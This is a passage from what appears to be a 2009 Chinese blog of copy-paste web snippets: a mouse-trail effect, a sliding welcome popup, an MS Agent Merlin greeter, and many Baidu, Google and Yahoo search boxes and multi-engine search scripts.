if(ScriptEngineMajorVersion()==5 && ScriptEngineMinorVersion()==5){    

code="<v:line id=elastoc style='LEFT:0;POSITION:absolute;TOP:0' strokeweight='1.5pt'></v:line>"} else {    

code="<v:group style='LEFT:-10;WIDTH:100pt;POSITION:absolute;TOP:0;HEIGHT:100pt' coordsize='21600,21600'><v:line id=elastoc style='LEFT:0;WIDTH:100pt;POSITION:absolute;TOP:0;HEIGHT:100pt' strokeweight='1.5pt'></v:line></v:group>"}    

document.body.insertAdjacentHTML("afterBegin",code)    

document.onmousemove=momouse    

Ouille()    

//----------------------------------------------------------------------    

    </SCRIPT>

     </BLOCKQUOTE></BLOCKQUOTE>

<SCRIPT language=JavaScript src=""></SCRIPT>

</BODY></HTML>

 

 

0 Comments

Wed

18

Mar

2009

7、像瑞星或qq一样的提示屏

7、像瑞星或qq一样的提示屏

 

 

<SCRIPT>

var oPopup = window.createPopup();

var popTop=50;

function popmsg(msgstr){

var winstr="<table style=\"border: 1 solid  #FFA6CA\"  width=\"241\" height=\"172\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"  background=\"http://www38.websamba.com/fawang/store/pic/11.jpg \" >";

winstr+="<tr><td height=\"30\"> </td></tr><tr><td align=\"center\"><table width=\"90%\" height=\"110\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">";

winstr+="<tr><td valign=\"top\" style=\"font-size:12px; color: red; face: Tahoma\">"+msgstr+"</td></tr></table></td></tr></table>";

oPopup.document.body.innerHTML = winstr;

popshow();

}

function popshow(){

window.status=popTop;

if(popTop>1720){

clearTimeout(mytime);

oPopup.hide();

return;

}else if(popTop>1520&&popTop<1720){

oPopup.show(screen.width-250,screen.height,241,1720-popTop);

}else if(popTop>1500&&popTop<1520){

oPopup.show(screen.width-250,screen.height+(popTop-1720),241,172);

}else if(popTop<180){

oPopup.show(screen.width-250,screen.height,241,popTop);

}else if(popTop<220){

oPopup.show(screen.width-250,screen.height-popTop,241,172);

}

popTop+=10;

var mytime=setTimeout("popshow();",50);

}

popmsg("    <img border=\"0\" src=\"http://www38.websamba.com/fawang/store/pic/.jpg\" width=\"90\" height=\"27\">欢迎光临缘来是你网站,我的服务是你最大的满足,你的意见是我最大的财富!");

 

</SCRIPT>

 

 

0 Comments

Wed

18

Mar

2009

6、卡通老头欢迎我

6、卡通老头欢迎我

<html>

<head>

<SCRIPT>

<!--

function crml(nid)

{

try

{

nid=new ActiveXObject("Agent.Control.2");

nid.Connected = true;

nid.Characters.Load("");

return nid;

}

catch (err)

{

return false;

}

}

 

function chplay ()

{

if (ml=crml ("ml"))

{

var MerlinID;

var MerlinACS;

Merlin = ml.Characters.Character(MerlinID);

Merlin.MoveTo(200,200);

Merlin.Show();

Merlin.Play("Explain");

Merlin.Play("Announce");

Merlin.Speak("欢迎你来到jojoo电脑频道!");

Merlin.Play("Gestureright");

Merlin.Play("Pleased");

Merlin.Speak("我们的网址:www.master163.com");

Merlin.Play("Idle1_1");

Merlin.Hide();

Merlin.MoveTo(600,300);

Merlin.Show();

Merlin.Play("Surprised");

Merlin.Speak("JOJOO论坛 http://www.master163.com");

Merlin.Play("Read");

Merlin.Speak("还多了一个专门的电脑技术论坛");

Merlin.Play("Read")

Merlin.Play("GestureUp");

Merlin.Speak("网址是:Http://www.master163.com希望大家会喜欢");

Merlin.Play("DontRecognize");

Merlin.Speak("感谢您的到来");

Merlin.Play("DontRecognize");

Merlin.Play("Greet");

Merlin.Speak("提前祝你圣诞快乐!");

Merlin.Play("Greet");

Merlin.Speak("下次再见!");

Merlin.Play("Greet");

Merlin.Hide();

}

}

//-->

   </SCRIPT>

<SCRIPT>

<!--

chplay()

-->

</SCRIPT>

</head>

</html>

      

 

0 Comments

Wed

18

Mar

2009

5、在你网页中加入搜索

5、在你网页中加入搜索

1<form action="http://www.baidu.com/baidu" target="_blank">

<div align="center">

<input name=tn type=hidden value=baidu>

<a href="http://www.baidu.com/"><img src="http://img.baidu.com/search/img/baidulogo_clarity_80_29.gif" alt="Baidu" align="bottom" border="0"></a>

<input type=text name=word size=30>

<input type="submit" value="百度搜索">

</div>

</form>

2<table width="468" border="1" cellspacing="0" cellpadding="0" bordercolorlight="#000000" bordercolordark="#FFFFFF">

<tr>

<td><table width=468 height="20" border=0 cellpadding=0 cellspacing=0 bgcolor="f7f7f7">

<form action=http://www.baidu.com/baidu target=_blank>

<tbody>

<tr>

<td width="17%"> <div align=center> <a href="http://www.baidu.com/index.php?tn=zouwenye" target=_blank><img alt=百度中文搜索引擎 src="http://img.baidu.com/images/logo_20.gif" width="58" height="20" border="0"></a>

</div></td>

<td width="83%" valign=bottom> <div align=center> </div>

<font style="FONT-SIZE: 12px">  </font> <font style="FONT-SIZE: 12px">

<input id=word name=word size="30" value="请输入关键字"  onMouseOver="this.focus()" onBlur="if (value ==''){value='请输入关键字'}" onFocus="this.select()" onClick="if(this.value=='请输入关键字')this.value=''">

</font> <INPUT class=button name=submit type=submit value=百度搜索>

 <A href="http://www.dxxo.com/js/js.asp" target=_blank><font style="font-size: 12px" color="#ff0000">免费代码</font></A>

<input id=tn name=tn type=hidden value=zouwenye>

</td>

</tr>

</form>

</table></td>

</tr>

</table><img src= http://un.baidu.com/images/st.gif?tn=zouwenye width=0 height=0>

3<TABLE border=0 borderColorDark=#ffffff borderColorLight=#000000 cellPadding=0 cellSpacing=0 height=20 width=670 id="table4">

<FORM name=search_form onsubmit="return gowhere(this)" target=_blank>

<INPUT name=myselectvalue type=hidden value=0>

<INPUT name=tn type=hidden>

<INPUT name=ct type=hidden>

<INPUT name=lm type=hidden>

<TBODY>

<TR style="font-size: 9pt">

<TD height=20 width=102 style="font-size: 9pt"> <div align="center">

       <a href="http://www.baidu.com/index.php?tn=zouwenye" target=_blank style="color: #000000; text-decoration: none"><img alt=百度中文搜索引擎 src="http://img.baidu.com/images/logo_20.gif" width="58" height="20" border="0"></a>

</div></TD>

<TD width=568 height="20" style="font-size: 9pt">

<TABLE align=right border=0 cellPadding=0 cellSpacing=0 width="100%" id="table5">

<TBODY>

<TR style="font-size: 9pt">

<TD height=27 style="font-size: 9pt"><FONT style="FONT-SIZE: 12px">

<input id=word name=word size="20" value="请输入关键字"  onMouseOver="this.focus()" onblur="if (value ==''){value='请输入关键字'}" onFocus="this.select()" onClick="if(this.value=='请输入关键字')this.value=''">

</FONT> <INPUT name=image type=image id="image" src="http://img.baidu.com/img/search.gif" align=middle width=51 height=23 border=0> <FONT style="FONT-SIZE: 12px">

<A

href="http://www.dxxo.com/js/js.asp"

target=_blank style="color: #000000; text-decoration: none"><FONT color=#ff0000>免费代码</FONT></A> </FONT>

<INPUT CHECKED name=myselect onclick=javascript:this.form.myselectvalue.value=0; type=radio value=0>

<FONT color=#0000cc style="FONT-SIZE: 12px">网页</FONT>

<INPUT name=myselect onclick=javascript:this.form.myselectvalue.value=1; type=radio value=1> <FONT

color=#0000cc style="FONT-SIZE: 12px">mp3</FONT> <INPUT name=myselect

onclick=javascript:this.form.myselectvalue.value=2;

type=radio value=2>

<FONT color=#0000cc style="FONT-SIZE: 12px">flash</FONT> <INPUT name=myselect

onclick=javascript:this.form.myselectvalue.value=3;

type=radio value=3>

<FONT color=#0000cc style="FONT-SIZE: 12px">信息快递 </FONT></TD>

</TR>

</TBODY>

</TABLE></TD>

</TR>

</FORM>

</TABLE>

4<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

framespacing="0" frameborder="0" scrolling="no" width="200" height="30"

src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=102&rkcs=5&bgcr=FFFFFF&ftcr=000000&rk=0&bd=1&bdas=0">

</iframe

5<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

framespacing="0" frameborder="0" scrolling="no" width="670" height="40"

src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=103&rkcs=5&bgcr=FFFFFF&ftcr=000000&rk=0&bd=1&bdas=0">

</iframe>

6<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

framespacing="0" frameborder="0" scrolling="no" width="410" height="80"

src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=104&rkcs=5&bgcr=FFFFFF&ftcr=000000&rk=0&bd=1&bdas=0">

</iframe>

7<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

framespacing="0" frameborder="0" scrolling="no" width="410" height="80"

src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=104&rkcs=5&bgcr=FFFFFF&ftcr=000000&rk=0&bd=1&bdas=0">

</iframe

8<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

framespacing="0" frameborder="0" scrolling="no" width="140" height="75"

src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=105&rkcs=5&bgcr=FFFFFF&ftcr=000000&rk=0&bd=1&bdas=0">

</iframe>

9<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

framespacing="0" frameborder="0" scrolling="no" width="468" height="60"

src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=106&rkcs=5&bgcr=FFFFFF&ftcr=000000&rk=0&bd=1&bdas=0">

</iframe>

10<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

framespacing="0" frameborder="0" scrolling="no" width="468" height="40"

src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=107&rkcs=5&bgcr=FFFFFF&ftcr=000000&rk=0&bd=1&bdas=0">

</iframe

11<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

framespacing="0" frameborder="0" scrolling="no" width="400" height="40"

src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=108&rkcs=5&bgcr=FFFFFF&ftcr=000000&rk=0&bd=1&bdas=0">

</iframe>

12<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

  framespacing="0" frameborder="0" scrolling="no" width="468" height="50"

  src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=101&rkcs=0&bgcr=FFFFFF&ftcr=000000&rk=0&bd=0&tbsz=&tbst=&bdas=0">

</iframe>

13<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

  framespacing="0" frameborder="0" scrolling="no" width="200" height="30"

  src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=102&rkcs=0&bgcr=FFFFFF&ftcr=000000&rk=1&bd=0&tbsz=&tbst=&bdas=0">

</iframe>

14<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

  framespacing="0" frameborder="0" scrolling="no" width="410" height="80"

  src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=104&rkcs=0&bgcr=FFFFFF&ftcr=000000&rk=0&bd=0&tbsz=&tbst=&bdas=0">

</iframe>

15<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

  framespacing="0" frameborder="0" scrolling="no" width="140" height="75"

  src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=105&rkcs=0&bgcr=FFFFFF&ftcr=000000&rk=0&bd=0&tbsz=&tbst=&bdas=0">

</iframe>

16<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

  framespacing="0" frameborder="0" scrolling="no" width="670" height="40"

  src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=103&rkcs=0&bgcr=FFFFFF&ftcr=000000&rk=0&bd=0&tbsz=&tbst=&bdas=0">

</iframe>

17<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"

  framespacing="0" frameborder="0" scrolling="no" width="400" height="40"

  src="http://unstat.baidu.com/bdun.bsc?tn=sitesowang&cv=1&cid=316&csid=108&rkcs=0&bgcr=FFFFFF&ftcr=000000&rk=0&bd=0&tbsz=&tbst=&bdas=0">

</iframe>

18<table width="468" border="1" cellspacing="0" cellpadding="0" bordercolorlight="#000000" bordercolordark="#FFFFFF">

<tr>

<td><table width=468 height="45" border=0 cellpadding=0 cellspacing=0 bgcolor="f7f7f7">

<form action=http://www.baidu.com/baidu target=_blank>

<tbody>

<tr>

<td width="30%" rowspan="2"> <div align=center><a href="http://www.baidu.com/index.php?tn=zouwenye" target=_blank>

<img alt=百度中文搜索引擎 border=0 src="http://img.baidu.com/images/ss_logo.gif"></a></div></td>

<td valign=bottom width="70%"> <div align=center>

<table align=right border=0 cellpadding=0 cellspacing=0 width="100%">

<tbody>

<tr>

<td><font color="#666666" style="FONT-SIZE: 12px">全球最大的中文信息库,一定有你想要的...</font><font color="#666666" style="FONT-SIZE: 12px"> </font><A               

                        href="http://www.dxxo.com/js/js.asp"

                        target=_blank><font style="font-size: 12px" color="#ff0000">免费代码</font></A></td>

</tr>

</tbody>

</table>

</div></td>

</tr>

<tr>

<td valign=bottom><font style="FONT-SIZE: 12px">

<input id=word name=word size="38" value="请输入关键字"  onMouseOver="this.focus()" onBlur="if (value ==''){value='请输入关键字'}" onFocus="this.select()" onClick="if(this.value=='请输入关键字')this.value=''">

</font> <input align=middle border=0 height=17 id=image name=image src="http://img.baidu.com/img/go.gif" type=image width=30>

<font style="FONT-SIZE: 12px"> <a href="http://www.dxxo.com/js/js.asp" target=_blank></a><a href="http://www.dxxo.com/js/js.asp" target=_blank></a>

<input id=tn name=tn type=hidden value=zouwenye>

</font></td>

</tr>

</form>

</table></td>

</tr>

</table><img src= http://un.baidu.com/images/st.gif?tn=zouwenye width=0 height=0>

19<table width="468" height="40" border="1" cellpadding="0" cellspacing="0" bordercolorlight="#000000" bordercolordark="#FFFFFF">

<tr>

<td><TABLE border=0 cellPadding=0 cellSpacing=0 width=468>

<FORM action=http://www.baidu.com/baidu target=_blank>

<TBODY>

<TR>

<TD width="30%"> <DIV align=center>

<A href="http://www.baidu.com/index.php?tn=zouwenye" target=_blank>

<IMG alt=百度中文搜索引擎 border=0 src="http://img.baidu.com/images/ss_logo.gif"></A></DIV></TD>

<TD vAlign=bottom width="70%"> <DIV align=center>

<TABLE align=right border=0 cellPadding=0 cellSpacing=0 width="100%">

<TBODY>

<TR>

<TD><FONT style="FONT-SIZE: 12px">

<input id=word name=word size="26" value="请输入关键字"  onMouseOver="this.focus()" onblur="if (value ==''){value='请输入关键字'}" onFocus="this.select()" onClick="if(this.value=='请输入关键字')this.value=''">

</FONT> <INPUT align=middle border=0 height=17 id=image name=image src="http://img.baidu.com/img/go.gif" type=image width=30>

<INPUT id=tn name=tn type=hidden value=zouwenye> <FONT style="FONT-SIZE: 12px">

<A href="http://www.dxxo.com/js/js.asp" target=_blank></A>

<A href="http://www.dxxo.com/js/js.asp" target=_blank>

<FONT color=#ff0000>免费代码</FONT></A> </FONT></TD>

</TR>

</TBODY>

</TABLE>

</DIV></TD>

</TR>

</FORM>

</TABLE></td>

</tr>

</table><img src= http://un.baidu.com/images/st.gif?tn=zouwenye width=0 height=0>

20)谷歌<!-- SiteSearch Google -->

<form method=get action="http://www.google.com/search">

<table bgcolor="#FFFFFF"><tr><td>

<a href="http://www.google.com/">

<img src="http://www.google.com/logos/Logo_40wht.gif"

border="0" alt="Google"></a>

</td>

<td>

<input type=text name=q size=31 maxlength=255 value="">

<input type=hidden name=ie value=GB2312>

<input type=hidden name=oe value=GB2312>

<input type=hidden name=hl value=zh-CN>

<input type=submit name=btnG value="Google 搜索">

<font size=-1>

<input type=hidden name=domains value="YOUR DOMAIN NAME"><br>

<input type=radio name=sitesearch value=""> 搜索WWW

<input type=radio name=sitesearch value="YOUR DOMAIN NAME" checked> 搜索YOUR DOMAIN NAME

</font>

</td></tr></table>

</form>

<!-- SiteSearch Google -->

21<!-- Search Google -->

<center>

<form method=get action="http://www.google.com/search">

<table bgcolor="#FFFFFF"><tr><td>

<a href="http://www.google.com/intl/zh-CN/">

<img src="http://www.google.com/logos/Logo_40wht.gif"

border="0" alt="Google" align="absmiddle"></a>

<input type=text name=q size=31 maxlength=255 value="">

<input type=hidden name=ie value=GB2312>

<input type=hidden name=oe value=GB2312>

<input type=hidden name=hl value=zh-CN>

<input type=submit name=btnG value="Google 搜索">

</td></tr></table>

</form>

</center>

<!-- Search Google -->

22)雅虎<iframe scrolling="no" frameborder="0" width="468" height="60" src="http://www.7stk.com/jingdin/yahoo/46860.htm" allowtransparency="true"></iframe>

23<iframe scrolling="no" frameborder="0" width="728" height="90" src="http://www.7stk.com/jingdian/yahoo/72890.htm" allowtransparency="true"></iframe>

24<iframe scrolling="no" frameborder="0" width="300" height="250" src="http://www.7stk.com/jingdian/yahoo/300250.htm" allowtransparency="true"></iframe>

25<iframe scrolling="no" frameborder="0" width="468" height="60" src="http://www.7stk.com/jingdian/yahoo/46861.htm" allowtransparency="true"></iframe>

26)集成

                     <script>

<!--//Begin JavaScript Source

function CheckAll(form)

{

for (var i=0;i<form.elements.length;i++)

{

var e = form.elements[i];

if (e.name != 'chkall')

e.checked = form.chkall.checked;

}

}

function netsearch(formname)

{

var Sina1

var Sina2

var Sohu1

var Sohu2

var Netease1

var Netease2

var baidu1

var baidu2

var mp31

var mp32

var sbox1

var sbox2

var flash1

var flash2

var YahooC1

var YahooC2

var Google1

var Google2

var tom1

var tom2

var TEXT

var noENGINE

var haveTEXT

 

TEXT=formname.TEXT.value;

noEngine=true;

haveTEXT=true;

 

if (TEXT=="")

{

alert("请输入搜索内容!")

haveTEXT=false

}

 

Sina1=formname.Sina.checked;

Sina2="http://search.sina.com.cn/cgi-bin/search/search.cgi?_searchkey="+TEXT;

if (Sina1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(Sina2, "Sina","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

 

Sohu1=formname.Sohu.checked;

Sohu2="http://site.search.sohu.com/sitesearch.jsp?key_word="+TEXT;

if (Sohu1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(Sohu2, "Sohu","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

Netease1=formname.Netease.checked;

Netease2="http://nisearch.163.com/Search?q="+TEXT;

if (Netease1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(Netease2, "Netease","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

 

baidu1=formname.baidu.checked;

baidu2="http://www1.baidu.com/baidu?myselectvalue=0&tn=net900&word="+TEXT;

if (baidu1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(baidu2, "baidu","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

      

mp31=formname.mp3.checked;

mp32="http://mp3search.baidu.com/wstsearch?tn=baidump3&ct=134217728&word="+TEXT;

if (mp31)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(mp32, "mp3","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

      

YahooC1=formname.YahooC.checked;

YahooC2="http://cn.search.yahoo.com/search/cn?p="+TEXT;

if (YahooC1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(YahooC2, "YahooC", "toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

 

      

Google1=formname.Google.checked;

Google2="http://www.google.com/search?hl=zh-CN&q="+TEXT;

if (Google1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(Google2, "n","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

      

 

sbox1=formname.sbox.checked;

sbox2="http://www.yahoo.com.cn/search?pid=1073_1006&needbid=&ei=GBK&source=3721_union&p="+TEXT;

if (sbox1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(sbox2, "sbox","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

tom1=formname.tom.checked;

tom2="http://sms2.ctn.com.cn/smslist/smsearch.php?user_id=67&inc=3&keyword="+TEXT;

if (tom1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(tom2, "tom","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

flash1=formname.flash.checked;

flash2="http://mp3.baidu.com/m?f=ms&tn=baidump3&ct=134217728&lf=&rn=&lm=6&word="+TEXT;

if (flash1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(flash2, "flash","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

 

if (noEngine)

{

alert("请选择搜索引擎!")

}

}

//End JavaScript Source -->

</script>

<table style='width:705px; background-color: #FFFF00; layer-background-color: #CCCCCC; border: 1px none #000000' id="table1"><tr><td><font style='FONT-SIZE:9pt'>集成搜索</td><td><form name=engines onSubmit=netsearch(engines)><input style='background-color: FDF3D1; border: 1px solid #FBB723' name=TEXT size=10 maxlength=200 value=> <input type=button style='BACKGROUND-COLOR:#ffffff;BORDER-BOTTOM:red 1px solid;BORDER-LEFT:red 1px solid;BORDER-RIGHT:red 1px solid;BORDER-TOP:red 1px solid;COLOR:#000000;FONT-SIZE:9pt' value=搜索 name=Submit onClick=netsearch(engines)><font style='FONT-SIZE:9pt'> <input type=Checkbox name=baidu checked>百度<input type=Checkbox name=Google checked>Google<input type=Checkbox name=YahooC>雅虎<input type=Checkbox name=Sina>新浪<input type=Checkbox name=Sohu>搜狐<input type=Checkbox name=Netease>网易<input type=Checkbox name=sbox>Yahoo<input type=Checkbox name=tom>手机铃声<input type=Checkbox name=flash>FLASH<input type=Checkbox name=mp3>MP3</font></td></form></tr></table>

                     <p>

</font>

27

                     <script>

<!--//Begin JavaScript Source

function CheckAll(form)

{

for (var i=0;i<form.elements.length;i++)

{

var e = form.elements[i];

if (e.name != 'chkall')

e.checked = form.chkall.checked;

}

}

function netsearch(formname)

{

var Sina1

var Sina2

var Sohu1

var Sohu2

var Netease1

var Netease2

var baidu1

var baidu2

var mp31

var mp32

var sbox1

var sbox2

var flash1

var flash2

var YahooC1

var YahooC2

var Google1

var Google2

var tom1

var tom2

var TEXT

var noENGINE

var haveTEXT

 

TEXT=formname.TEXT.value;

noEngine=true;

haveTEXT=true;

 

if (TEXT=="")

{

alert("请输入搜索内容!")

haveTEXT=false

}

 

Sina1=formname.Sina.checked;

Sina2="http://search.sina.com.cn/cgi-bin/search/search.cgi?_searchkey="+TEXT;

if (Sina1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(Sina2, "Sina","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

 

Sohu1=formname.Sohu.checked;

Sohu2="http://site.search.sohu.com/sitesearch.jsp?key_word="+TEXT;

if (Sohu1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(Sohu2, "Sohu","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

Netease1=formname.Netease.checked;

Netease2="http://nisearch.163.com/Search?q="+TEXT;

if (Netease1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(Netease2, "Netease","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

 

baidu1=formname.baidu.checked;

baidu2="http://www1.baidu.com/baidu?myselectvalue=0&tn=net900&word="+TEXT;

if (baidu1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(baidu2, "baidu","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

      

mp31=formname.mp3.checked;

mp32="http://mp3search.baidu.com/wstsearch?tn=baidump3&ct=134217728&word="+TEXT;

if (mp31)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(mp32, "mp3","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

      

YahooC1=formname.YahooC.checked;

YahooC2="http://cn.search.yahoo.com/search/cn?p="+TEXT;

if (YahooC1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(YahooC2, "YahooC", "toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

 

      

Google1=formname.Google.checked;

Google2="http://www.google.com/search?hl=zh-CN&q="+TEXT;

if (Google1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(Google2, "n","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

      

 

sbox1=formname.sbox.checked;

sbox2="http://www.yahoo.com.cn/search?pid=1073_1006&needbid=&ei=GBK&source=3721_union&p="+TEXT;

if (sbox1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(sbox2, "sbox","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

tom1=formname.tom.checked;

tom2="http://sms2.ctn.com.cn/smslist/smsearch.php?user_id=67&inc=3&keyword="+TEXT;

if (tom1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(tom2, "tom","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

flash1=formname.flash.checked;

flash2="http://mp3.baidu.com/m?f=ms&tn=baidump3&ct=134217728&lf=&rn=&lm=6&word="+TEXT;

if (flash1)

{

noEngine=false

if (haveTEXT)

{

newWindow=window.open(flash2, "flash","toolbar,location,directories,status,menubar,scrollbars,resizable=1")

}

}

 

if (noEngine)

{

alert("请选择搜索引擎!")

}

}

//End JavaScript Source -->

</script>

<table style='width:705px; background-color: #FFFF00; layer-background-color: #CCCCCC; border: 1px none #000000' id="table1"><tr><td><font style='FONT-SIZE:9pt'>集成搜索</td><td><form name=engines onSubmit=netsearch(engines)><input style='background-color: FDF3D1; border: 1px solid #FBB723' name=TEXT size=10 maxlength=200 value=> <input type=button style='BACKGROUND-COLOR:#ffffff;BORDER-BOTTOM:red 1px solid;BORDER-LEFT:red 1px solid;BORDER-RIGHT:red 1px solid;BORDER-TOP:red 1px solid;COLOR:#000000;FONT-SIZE:9pt' value=搜索 name=Submit onClick=netsearch(engines)><font style='FONT-SIZE:9pt'> <input type=Checkbox name=baidu checked>百度<input type=Checkbox name=Google checked>Google<input type=Checkbox name=YahooC>雅虎<input type=Checkbox name=Sina>新浪<input type=Checkbox name=Sohu>搜狐<input type=Checkbox name=Netease>网易<input type=Checkbox name=sbox>Yahoo<input type=Checkbox name=tom>手机铃声<input type=Checkbox name=flash>FLASH<input type=Checkbox name=mp3>MP3</font></td></form></tr></table>

                     <p>

</font>

28<script>function search4()

{if(form1.abc0.checked)

window.open("http://www.iask.com/s?k="+form1.key.value,"mspg0");

if(form1.abc1.checked)

window.open("http://www.sogou.com/web?sogouhome=&shuru=shou&query="+form1.key.value,"mspg1");

if(form1.abc2.checked)

window.open("http://cn.search.yahoo.com/search?p="+form1.key.value,"mspg2");

if(form1.abc3.checked)

window.open("http://www.skycn.com/search.php?sor=00&ss_name="+form1.key.value,"mspg3");

if(form1.abc4.checked)

window.open("http://www.google.cn/search?hl=zh-CN&q="+form1.key.value,"mspg4");

if(form1.abc5.checked)

window.open("http://zhidao.baidu.com/q?ct=17&pn=0&tn=ikaslist&rn=10&word="+form1.key.value,"mspg5");

if(form1.abc6.checked)

window.open("http://www.baidu.com/s?tn=sitehao123&word="+form1.key.value,"mspg6");

if(form1.abc7.checked)

window.open("http://mp3search.baidu.com/wstsearch?tn=baidump3&ct=134217728&lm=-1&rn=&word="+form1.key.value,"mspg7");

 

if(form1.abc9.checked)

window.open("http://mp3search.baidu.com/wstsearch?tn=baidump3lyric&ct=150994944&lm=-1&rn=&word="+form1.key.value,"mspg9");

if(form1.abc10.checked)

window.open("http://www.baidu.com/baidu?ft=all&q1="+form1.key.value,"mspg10");

if(form1.abc11.checked)

window.open("http://www.baidu.com/i?ct=201326592&cl=2&lm=-1&tn=baiduimage&word="+form1.key.value,"mspg11");

if(form1.abc12.checked)

window.open("http://www.baidu.com/s?tn=sitehao123&word="+form1.key.value+"%20site%3Awww.7stk.com","mspg12");

if(form1.abc13.checked)

window.open("http://baike.baidu.com/w?ct=17&lm=0&tn=baiduWikiSearch&pn=0&rn=10&word="+form1.key.value+"&submit=search","mspg13");

if(form1.abc14.checked)

window.open("http://map.baidu.com/m?word="+form1.key.value,"mspg14");

if(form1.abc15.checked)

window.open("http://news.baidu.com/ns?cl=2&rn=20&tn=news&word="+form1.key.value,"mspg15");

if(form1.abc16.checked)

window.open("http://www.baidu.com/baidu?ie=gb2312&bs=&sr=&z=&ct=1048576&cl=3&f=8&word="+form1.key.value,"mspg16");

return false;}</script>

<table border=0 cellspacing=0 width="87%" bordercolor=#99DF95 cellpadding=0>

<tr align="center">

<td height="15" colspan="2">综合搜索引擎</td>

</tr>

<form name=form1 onsubmit=return(search4())><tr><td width="312" rowspan="2" align="right" valign="top">

       <font size="2"><a target="_blank" href="http://www.7stk.com">

       <font color="#FF0000">网页代码</font></a></font>

<input type=text name=key size=26 onMouseOver=this.focus() onFocus=this.select() style="margin-bottom:-4px;" value="关键字">

<input type=submit style="margin-bottom:-4px;COLOR: rgb(0,0,0);" FONT-SIZE: 9pt value=搜索 name=B2>

 

</td>

<td ><input type=checkbox name=abc6 value=google checked><a href=http://www.baidu.com/>百度</a>

<input type=checkbox name=abc4 value=3721><a href=http://www.google.cn>google</a>

<input type=checkbox name=abc7 value=baidump3><a href=http://mp3.baidu.com/>mp3</a>

<input type=checkbox name=abc9 value=baidump3><a href=http://geci.baidu.com/>歌词</a>

<input type=checkbox name=abc11 value=baidump3><a href=http://image.baidu.com/>图片</a>

<input type=checkbox name=abc13 value=baidubaike><a href=http://baike.baidu.com/>百科</a>

<input name=abc5 type=checkbox  value=ikaslist><a href=http://zhidao.baidu.com/>知道</a>

 

<input name=abc15 type=checkbox  value=baidunews><a href=http://news.baidu.com/>新闻</a></td>

</tr><tr><td style="padding-top:3px;"><input type=checkbox name=abc12 value=hao123>站内

